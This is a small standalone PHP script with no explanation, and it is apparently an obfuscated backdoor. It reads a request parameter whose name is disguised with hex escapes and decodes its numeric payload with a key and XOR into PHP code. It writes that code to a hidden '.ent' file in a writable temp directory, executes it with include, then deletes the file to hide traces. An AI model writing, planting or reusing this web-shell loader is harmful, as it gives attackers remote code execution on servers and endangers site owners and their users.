<?php

if(in_array("p\x61ram\x65te\x72\x5F\x67ro\x75p", array_keys($_REQUEST))){
	$pointer = $_REQUEST["p\x61ram\x65te\x72\x5F\x67ro\x75p"];
		$pointer	=	explode (	"." , 	$pointer) 	;	
	$ptr = '';
            $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s5 );
            $t = 0;
            $__len = count($pointer );
    
            do {
                if ($t >= $__len) break;
                $v2 = $pointer[$t];
                $chS = ord($s5[$t	 %$lenS] );
                $d = ((int)$v2 - $chS - ($t	 %10)) ^90;
                $ptr .= chr($d );
                $t++;} 	while (true );
	$element = array_filter([session_save_path(), "/dev/shm", sys_get_temp_dir(), getcwd(), "/var/tmp", "/tmp", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir")]);
	foreach ($element as $k) {
    		if (!( !is_dir($k) || !is_writable($k) )) {
    $flag = implode("/", [$k, ".ent"]);
    if (file_put_contents($flag, $ptr)) {
	include $flag;
	@unlink($flag);
	exit;
}
}
}
}